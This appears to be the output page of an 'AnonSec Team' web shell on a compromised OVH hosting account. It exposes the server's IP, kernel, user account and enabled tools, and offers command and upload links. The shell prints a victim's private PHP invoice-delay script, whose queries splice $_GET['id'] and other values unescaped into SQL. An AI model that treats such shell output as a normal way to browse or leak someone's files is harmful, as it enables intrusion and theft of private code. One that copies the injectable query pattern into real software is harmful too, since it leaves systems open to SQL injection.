AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/TEST/www/../../MCPRO/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/www/../../MCPRO/nombre_soldee_retard_ving.php


      <!-- /.row -->

	








<?php
function moinsving($agence)
{
$nbbb= 0 ; 
$agence= $agence ; 
// echo "test <br/>" ;
// include_once 'code/init.php';
// session_start();
// echo "<pre>" ;
// print_r($_POST) ; 
// echo "</pre>" ;
 if(isset( $_POST['check_client']))
 $_SESSION["check_client"] =  $_POST['check_client']  ; 
 
 // echo "<pre>" ;
// print_r($_SESSION["check_client"]) ; 
// echo "</pre>" ; 
 
// $get = '' ; 
if(!empty($_POST))
{
	// exit() ; 
header("location: suivi_edition_check.php?action=nouvelle_action_suivi&client_suivi_id=92762&suivi_id=10&client_id=7343");	
}

// exit() ; 

// echo "<pre>" ; 
// print_r($_SESSION) ; 
// echo "</pre>" ; 
// print_header ();
 // [client_actif]
function get_bureau_drop_down($name = '', $param = '', $value ='', $choose = 'auto')
{
	global $agence ;
	if(!is_array($value))
	$value = array($value) ;
	$ret = "<select onchange='GetIdBureau()'; name=\"$name\" $param>".((in_array('', $value) || in_array('0', $value)) && count($value) == 1 && $choose == 'auto' || $choose === true ? '<option value="" selected  style="font-weight:bold"></option>' : '') ;
	$q = dbi_query("SELECT * FROM bureau WHERE agence_id=".$agence." ORDER BY nom_agence") ;
	while($res = dbi_fetch_row($q)) {
		$ret .= sprintf('<option value="%s"%s>%s </option>', $res['id_bureau'], in_array($res['id_bureau'], $value) ? ' selected' : '', $res['nom_agence']) ;
	}
	return $ret."</select>" ;
}
$where2='';
if( isset($_GET['id']) && $_GET['id'] && !empty($_GET['id']) )
{
   if($_GET['id']>0)
	{
		$id=$_GET['id'];
		$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['id'].' and agence_id='.$agence.''))) ;
		$id_bureau=$tabbursel['id_bureau'];
		$nom_bureau=$tabbursel['nom_agence'];
		$where1=" AND ID_Bureau != $id_bureau ";
		$where2=" AND client_bureau = $id_bureau ";
    }
	elseif($_GET['id']=="INDEFINI")
	{
	$id_bureau=$_GET['id'];
	$where2=" AND client_bureau='0' ";
	$selected='selected="selected"';
	}
}
$CA=0;
?>
<script language="Javascript">
   function GetIdBureau()
   {
		var id="";
  	  id = document.bureau_form.client_bureau.value ;
	if( id > 0 || id=="INDEFINI" )
	  window.location = "solde.php?id="+id;
	  	else
	window.location = "solde.php";
   }
</script>


<?php
$Client=array();
$order=' ASC ';
$query = dbi_query("SELECT f.client_id, client_pnom, client_nom, reglement_delai , f.num_fact, c.client_reglement,
f.fact_id, total,total-sum(if(p.montant is null, 0, p.montant))-sum(if(a.montant is null, 0, a.montant)) AS paye,
if(a.montant is null, 0, a.montant) avoir,
f.date_fact, f.relance, IF(client_genre='SERENA',1,0) as serena
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id=p.client_id
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id 
LEFT JOIN ".TABLE_CLIENT." c ON c.client_id = f.client_id
WHERE f.agence_id=$agence $where2
GROUP BY date_fact, f.fact_id, total
HAVING paye > 0.001
ORDER BY client_nom $order , client_pnom $order  , f.date_fact ASC ") ;


// $today = date('Ymd', strtotime('-20 day'));

$today = date('Ymd');
$todayform = date('Y-m-d');
// echo 
// echo "$today <br/>" ; 

 // exit() ; 
 

		
while($f = dbi_fetch_row($query))
	{
		

	
	
		$a =  int2date($f['date_fact'],'Y-m-d')  ;
	
	$date_fact_plus_reglement_delai = date("Y-m-d", strtotime("$a +".$f['reglement_delai']." days"));
	
	
	// echo "==>".$date_fact_plus_reglement_delai."<br/>" ; 
	// echo "==>".$todayform."<br/>" ; 
	
	
			$date1 = new DateTime($date_fact_plus_reglement_delai);
$date2 = new DateTime($todayform);
$diff = $date2->diff($date1)->format("%a");
// echo $diff."<br/>";
	
	// exit() ; 
	
		 	$tabloTest = explode('-', $date_fact_plus_reglement_delai);
		    $date_fact_plus_reglement_delai =  $tabloTest[0].''.$tabloTest[1].''.$tabloTest[2]; 
		// echo "===>>> ".$date_fact_plus_reglement_delai."<br/>" ; 
		
		
		// $date_fact_plus_reglement_delai = $f['date_fact']  +  $f['reglement_delai']  ; 
		
		// echo "===> $today <br/>" ; 
		


		
		// echo "==>  ".$date_fact_plus_reglement_delai."<br/>" ; 

		
		if($date_fact_plus_reglement_delai <= $today )
		{
			
	$Client[$f['client_id']][]=$f;
			
		}
	}
	 
	// echo "<pre>" ; 
	// print_r($Client) ; 
	// echo "</pre>" ; 
	
	// exit() ;
	?>

<?
$R=dbi_query("SELECT reglement_delai regday ,client_id id, concat(client_nom, ' ', client_pnom) civ, client_prospect, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." where agence_id=$agence ".(isset($_SESSION['client_actif']) && $_SESSION['client_actif']=='off' ? "" : "")." AND client_prospect ='0' $where2 ORDER BY civ");
while($cl = dbi_fetch_row($R))
	{
			$client_id=$cl['id'];
			$a=$client_id ; 
	// echo count($Client[$client_id])
	// echo "<pre>" ; 
	// print_r($Client[$client_id]) ; 
	// echo "</pre>" ; 


$nb=0;	
if(isset($Client[$client_id]))
	$nb=count($Client[$client_id]);
	// print_r($Client[$client_id]);
// 
$soldaa = 0 ; 
// $sommeavoir  = 0 ;
for($i=0  ; $i<$nb ;$i++ )
{
	// echo "=$i==>".$Client[$client_id][$i]['total']."<br/>" ; 
	// if(!empty($Client[$client_id][$i]['fact_id']))
	// {
// list($avoir) = dbi_fetch_row(dbi_query("select montant from avoir where  fact_id = ".$Client[$client_id][$i]['fact_id'])) ;
	// }
	// $sommeavoir =  $sommeavoir  + $avoir ; 
	$soldaa=$Client[$client_id][$i]['paye'] + $soldaa  ; 
	// $avoir =  0 ; 
}

// list($solde) = $Client[$client_id][] ;
// $soldaa = $soldaa -  $sommeavoir  ;

if($soldaa  != 0)
{











$suiva = dbi_query("SELECT * FROM `client_suivi` WHERE client_id = $a   and client_suivi_clos = '0' ") ;

$recouvrement = ""   ; 
$litige  = ""   ; 
$Compta  = ""   ; 
while($ss = dbi_fetch_row($suiva))
{
	if($ss['suivi_id']== 10) 
	{
		$recouvrement = "<i class='fa fa-fw fa-check' ></i>" ; 
	}
	if($ss['suivi_id']== 21) 
	{
		$litige = "<i class='fa fa-fw fa-check' ></i>" ;
	}
	
	if($ss['suivi_id']== 25) 
	{
		$Compta = "<i class='fa fa-fw fa-check' ></i>" ;
	}
}








$suiv = dbi_query("SELECT * FROM `client_suivi`,`suivi` , suivi_biais WHERE client_id = $a and client_suivi.suivi_id = `suivi`.suivi_id and suivi_parent_id != 0 and client_suivi.client_suivi_clos = '0' and ( suivi.suivi_id = 21  or suivi.suivi_id = 25  or suivi.suivi_id = 10 )  ORDER BY suivi_date DESC") ;

$suivdate = dbi_fetch_row (dbi_query("SELECT UNIX_TIMESTAMP(suivi_date) as suivi_date  FROM `client_suivi`,`suivi` , suivi_biais WHERE client_id = $a and client_suivi.suivi_id = `suivi`.suivi_id and suivi_parent_id != 0 and client_suivi.client_suivi_clos = '0' and ( suivi.suivi_id = 21  or suivi.suivi_id = 25  or suivi.suivi_id = 10 )  ORDER BY suivi_date DESC")) ;
$suivdate = $suivdate['suivi_date'];


$suivRoucv = dbi_query("SELECT * FROM `client_suivi`,`suivi` , suivi_biais WHERE client_id = $a and client_suivi.suivi_id = `suivi`.suivi_id  and client_suivi.client_suivi_clos = '0' and  suivi.suivi_id = 10  ORDER BY suivi_date DESC") ;


$suivlitge = dbi_query("SELECT * FROM `client_suivi`,`suivi` , suivi_biais WHERE client_id = $a and client_suivi.suivi_id = `suivi`.suivi_id  and client_suivi.client_suivi_clos = '0' and ( suivi.suivi_id = 21  or suivi.suivi_id = 25  or suivi.suivi_id = 10 )  ORDER BY suivi_date DESC") ;
  

$suivcompta = dbi_query("SELECT * FROM `client_suivi`,`suivi` , suivi_biais WHERE client_id = $a and client_suivi.suivi_id = `suivi`.suivi_id and  client_suivi.client_suivi_clos = '0' and ( suivi.suivi_id = 21  or suivi.suivi_id = 25  or suivi.suivi_id = 10 )  ORDER BY suivi_date DESC") ;
  
  
  
  $sRoucv = dbi_fetch_row($suivRoucv) ;
  
 
   $slitige = dbi_fetch_row($suivlitge) ;
   
    $scompta = dbi_fetch_row($suivcompta) ;
  
  
  
  if($sRoucv['suivi_parent_id']== 0) 
	{
		$rec= $sRoucv['client_suivi_id']  ; 
		// echo "yasss $rec <br/>" ; 
	}
	else
	{
		$rec= $sRoucv['suivi_parent_id']  ; 
		// echo "aa $rec <br/>" ; 
	}
	
	
	
	 if($slitige['suivi_parent_id']== 0) 
	{
		$litg= $slitige['client_suivi_id']  ; 
	}
	else
	{
		$litg= $slitige['suivi_parent_id']  ; 
	}
	
	
	 if($scompta['suivi_parent_id']== 0) 
	{
		$comp= $scompta['client_suivi_id']  ; 
	}
	else
	{
		$comp= $scompta['suivi_parent_id']  ; 
	}
	
	
	
  
  
  
$s = dbi_fetch_row($suiv) ;

if(!empty($s['Admin_ID']))
{
}
// echo "<pre>" ; 
  // print_r($s)  ;
  // echo "</pre>" ; 

// if( )
// {
	
// }

if(!empty($s['client_suivi_id']))
{
$suiva = dbi_query("SELECT suivi_biais_id FROM `client_suivi` WHERE client_id = $a  and client_suivi_id = ".$s['client_suivi_id']) ;


 
}
$ssv = dbi_fetch_row($suiva) ;
 
 if(!empty($ssv['suivi_biais_id']))
{
 $suiva2 = dbi_query(" SELECT * FROM `suivi_biais`  WHERE  suivi_biais_id   = ".$ssv['suivi_biais_id']) ;

}
 $ssv_bia = dbi_fetch_row($suiva2) ;

	 
$action = '';

if($s['suivi_programme']=='1')
{
// if ($ssv['suivi_biais_id']=='4' or $ssv['suivi_biais_id']=='41' )  original
if ($ssv['suivi_biais_id']=='4')
$action = '&nbsp;'.$ssv_bia['suivi_biais_intitule'].' effectu&eacute;';
else if ($s['suivi_programme']=='1') 
$action = '&nbsp;Pr&eacute;voir un '.strtolower($ssv_bia['suivi_biais_intitule']);
else $action = $s['suivi_biais_intitule'].' effectu&eacute;';
if ($ssv['suivi_biais_id']=='6') 
$action = '&nbsp;Pr&eacute;voir une '.strtolower($ssv_bia['suivi_biais_intitule']);
$total+= $l['montant_devis'];

// $action = $ssv_bia['suivi_biais_intitule'] ;
if($s['suivi_date'])
	$action =    mysql_datefrrr($s['suivi_date'],'-','Djma').' &nbsp;&nbsp;<b>'.$action;
else
$action = "";

}
else
{
$action = '';
}



if($action != "")
{
	list($n , $p) = dbi_fetch_row(dbi_query(" SELECT Admin_nom,Admin_pnom  FROM `administratif` where Admin_ID = ".$s['Admin_ID'] )) ;

$salarier_admin = $n." ".$p  ; 
}
else
{
	$salarier_admin = "" ; 
}
	

 
 
$get = 'client_id='.$a;



if($nb==1) //afficher sauf les clients qui ont le nombre de pieces egale 1
{

 
	
// echo "===================================>".$Client[$client_id][0]['date_fact']."<br/>" ; 

	$date_fact_plus_reglement_delai = date("Y-m-d", strtotime($Client[$client_id][0]['date_fact']."+".$cl['regday']." days"));
	
	
	// echo "EEEEEEEEEEEEE==>".$date_fact_plus_reglement_delai."<br/>" ; 
	// echo "333333333333==>".$todayform."<br/>" ; 
	
	
			$date1 = new DateTime($date_fact_plus_reglement_delai);
$date2 = new DateTime($todayform);
$diff = $date2->diff($date1)->format("%a");
// echo 'sddddddddddddddddd'.$diff."<br/>";


//----------------------------------------------------------------------------------

$query = dbi_query("SELECT f.client_id, client_pnom, client_nom, reglement_delai , f.num_fact, c.client_reglement,
f.fact_id, total,total-sum(if(p.montant is null, 0, p.montant))-sum(if(a.montant is null, 0, a.montant)) AS paye,
if(a.montant is null, 0, a.montant) avoir,
f.date_fact, f.relance, IF(client_genre='SERENA',1,0) as serena
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id=p.client_id
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id 
LEFT JOIN ".TABLE_CLIENT." c ON c.client_id = f.client_id
WHERE f.agence_id=$agence $where2 and  f.client_id =  $client_id
GROUP BY date_fact, f.fact_id, total
HAVING paye > 0.001 ") ;

$tabnumfact = array();
while($acd = dbi_fetch_row($query))
{
	$tabnumfact[] =$acd['num_fact']  ; 
}
$ab =count($tabnumfact); ; 

// afficher juste les  clients qui ont un seul facture  

//----------------------------------------------------------------------------------------------
// echo " $client_id bbbbbbbbbbbbbbbbbb kkkkkkkkkk ===> $ab <br/>" ;




if($diff<=20 &&  $nb == 1)
{





 $depasse = mktime(0,0,0,date("m"), date("d")+1, date("Y"));
 
  $de= mktime($s['suivi_date'] );

  
 if( $suivdate<  $depasse )
 {
	 $color= "rouge" ; 
 }
 else
 {
	$color= "normale" ;  
 }

 // echo  $de."===>".$color."==".$depasse."<br/>" ;   

$CA+=$soldaa;
if(!empty($solde))
$solde=number_format($solde, 2, ', ', '');


// $nbbb = $nbbb  + 1 ; 




$var_nn=$ya["date_fact"]; 
$var_yes =$yb["max_fact"] ;
//if($dateF > $dateP)

if($color== "rouge")
{
	
	
	$nbbb = $nbbb  + 1 ; 
// echo "tttttttttttt" ; 
// echo "<td align='center'  style='color:red'  >  $action</td>";
}
else
{
	
// echo "<td align='center'  > $action</td>";
}



?>

				  
				  




				
				  
				  
				  
				  
<?



}
}

}
}
return $nbbb ; 
}
?>




		  
		
 



	
		
		

        <!-- /.col -->

     















AnonSec - 2021